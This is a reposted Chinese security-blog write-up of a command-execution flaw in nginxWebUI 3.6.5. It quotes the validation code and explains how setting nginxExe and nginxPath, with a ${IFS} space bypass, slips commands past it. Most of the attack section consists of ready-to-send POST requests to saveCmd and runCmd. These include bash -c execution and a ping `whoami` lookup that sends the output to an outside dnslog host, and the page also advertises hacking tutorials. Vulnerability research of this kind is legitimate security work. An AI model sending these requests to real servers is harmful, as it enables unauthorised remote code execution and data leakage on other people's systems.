nginxWebUi3.6.5 命令执行挖掘

admin 2023年7月23日20:11:31评论41 views字数 3255阅读10分51秒阅读模式

获黑客教程

免费&进群

nginxWebUi3.6.5 命令执行挖掘
nginxWebUi3.6.5 命令执行挖掘

1. 简介

版本 nginxWebUI3.6.5 系统 linux
官网https://www.nginxwebui.cn/

2. 审计过程

首先在com.cym.controller.adminPage#runCmd为命令执行的方法:

nginxWebUi3.6.5 命令执行挖掘

但是其中有一个校验,在下方图中,就是校验的位置:

nginxWebUi3.6.5 命令执行挖掘

跟进校验代码如下:

nginxWebUi3.6.5 命令执行挖掘

在下方代码中,最终进行判断传入的cmd是否与系统中nginxExe参数 -c nginxPath参数值相同,如果相同才可以执行命令

  1. private boolean isAvailableCmd(String cmd) {

  2. String nginxPath = ToolUtils.handleConf(this.settingService.get("nginxPath"));

  3. this.settingService.set("nginxPath", nginxPath);

  4. String nginxExe = ToolUtils.handleConf(this.settingService.get("nginxExe"));

  5. this.settingService.set("nginxExe", nginxExe);

  6. String nginxDir = ToolUtils.handleConf(this.settingService.get("nginxDir"));

  7. this.settingService.set("nginxDir", nginxDir);

  8. byte var6 = -1;

  9. switch(cmd.hashCode()) {

  10. case -1740009377:

  11. if (cmd.equals("net stop nginx")) {

  12. var6 = 4;

  13. }

  14. break;

  15. case -648492175:

  16. if (cmd.equals("service nginx start")) {

  17. var6 = 6;

  18. }

  19. break;

  20. case -71312295:

  21. if (cmd.equals("net start nginx")) {

  22. var6 = 7;

  23. }

  24. break;

  25. case -23621360:

  26. if (cmd.equals("systemctl stop nginx")) {

  27. var6 = 2;

  28. }

  29. break;

  30. case 1171976517:

  31. if (cmd.equals("taskkill /f /im nginx.exe")) {

  32. var6 = 1;

  33. }

  34. break;

  35. case 1226007315:

  36. if (cmd.equals("service nginx stop")) {

  37. var6 = 3;

  38. }

  39. break;

  40. case 1597108680:

  41. if (cmd.equals("systemctl start nginx")) {

  42. var6 = 5;

  43. }

  44. break;

  45. case 1875609800:

  46. if (cmd.equals("pkill nginx")) {

  47. var6 = 0;

  48. }

  49. }

  50. switch(var6) {

  51. case 0:

  52. return true;

  53. case 1:

  54. return true;

  55. case 2:

  56. return true;

  57. case 3:

  58. return true;

  59. case 4:

  60. return true;

  61. case 5:

  62. return true;

  63. case 6:

  64. return true;

  65. case 7:

  66. return true;

  67. default:

  68. String dir = "";

  69. if (StrUtil.isNotEmpty(this.settingService.get("nginxDir"))) {

  70. dir = " -p " + this.settingService.get("nginxDir");

  71. }

  72. if (cmd.equals(this.settingService.get("nginxExe") + " -s stop" + dir)) {

  73. return true;

  74. } else {

  75. return cmd.equals(this.settingService.get("nginxExe") + " -c " + this.settingService.get("nginxPath") + dir);

  76. }

  77. }

  78. }

所以这里的思路就是,将nginxExe以及nginxPath进行设置。
通过查找,看下图,发现com.cym.controller.adminPage#saveCmd方法能对nginxExe以及nginxPath进行设置.

nginxWebUi3.6.5 命令执行挖掘

但是在可以看见在其方法中有ToolUtils.handlePath(nginxPath);等方法调用,该方法主要对传入的参数进行过滤
看下图则为过滤处,假设传入&等都会被删掉。而且传入空格也会被删除。

nginxWebUi3.6.5 命令执行挖掘

绕过思路

这里利用linux的特性${IFS}绕过,${IFS}会被当做空格

nginxWebUi3.6.5 命令执行挖掘

绕过思路有了,现在还可以根据一个特性来执行命令:
在Unix或Linux系统中 bash -c选项用于执行一条命令 : bash -c "command"
在最开始那个isAvailableCmd方法校验可以看到,外部传参的cmd必须和里面的内容一样,所以先将 nginxExe 以及 nginxPath 进行设置。比如设置为 ping${IFS}xxxx.dnslog.xxx -c 1
先登录:

nginxWebUi3.6.5 命令执行挖掘

发包:

  1. POST /adminPage/conf/saveCmd HTTP/1.1

  2. Host: xxxxx

  3. xxxxxxxxx太长了不写了xxxxxx

  4. nginxExe=ping${IFS}yxxxx.dnslog.pw&nginxPath=1

nginxWebUi3.6.5 命令执行挖掘

  1. POST /adminPage/conf/runCmd HTTP/1.1

  2. Host: xxxxxx

  3. cmd=ping${IFS}xxxx.dnslog.pw -c 1

nginxWebUi3.6.5 命令执行挖掘

此时在校验这里肯定为true

nginxWebUi3.6.5 命令执行挖掘

最后进行命令执行:

nginxWebUi3.6.5 命令执行挖掘

nginxWebUi3.6.5 命令执行挖掘

当然也可以执行系统命令,利用bash -c "命令"来执行一条简单的命令,首先将nginxExe以及nginxPath进行设置:

  1. POST /adminPage/conf/saveCmd HTTP/1.1

  2. Host: xxx

  3. nginxExe=bash${IFS}&nginxPath=ls

  1. POST /adminPage/conf/runCmd HTTP/1.1

  2. Host: xxxx

  3. cmd=bash${IFS} -c ls

空格绕过

在前面中可以发现,其实在修复了3.4.8版本之后应该是加入了过滤相关的,没细看之前的版本 ,而在runCmd方法中,找到了一个可以直接使用set来将值设置进去的操作:

nginxWebUi3.6.5 命令执行挖掘

直接设置即可,依次发两个包,主要针对nginxExe以及nginxPath的设置:

  1. POST /adminPage/conf/runCmd HTTP/1.1

  2. Host: xxxxx

  3. type=nginxExe&cmd=bash

  1. POST /adminPage/conf/runCmd HTTP/1.1

  2. Host: xxxxxx

  3. type=nginxPath&cmd=%22ping `whoami`.xxxx.dnslog.pw%22

最后在进行单个给cmd传参也是可以进行执行命令,在这里执行命令的好处就是可以绕过空格

  1. POST /adminPage/conf/runCmd HTTP/1.1

  2. Host: xxxxx

  3. cmd=bash -c %22ping `whoami`.xxxxx.dnslog.pw%22

nginxWebUi3.6.5 命令执行挖掘


原文地址:https://xz.aliyun.com/t/12690

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@

学习更多渗透技能!体验靶场实战练习


nginxWebUi3.6.5 命令执行挖掘

hack视频资料及工具

nginxWebUi3.6.5 命令执行挖掘

(部分展示)


往期推荐

给第一次做渗透项目的新手总结的一些感悟

「登陆页面」常见的几种渗透思路与总结!

突破口!入职安服后的经验之谈

红队渗透下的入口权限快速获取

攻防演练|红队手段之将蓝队逼到关站!

CNVD 之5000w通用产品的收集(fofa)

自动化挖掘cnvd证书脚本

Xray捡洞中的高频漏洞

实战|通过供应链一举拿下目标后台权限

实战|一次真实的域渗透拿下域控(内网渗透)

看到这里了,点个“赞”、“再看”吧

原文始发于微信公众号(白帽子左一):nginxWebUi3.6.5 命令执行挖掘

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月23日20:11:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   nginxWebUi3.6.5 命令执行挖掘https://cn-sec.com/archives/1900497.html

发表评论

匿名网友 填写信息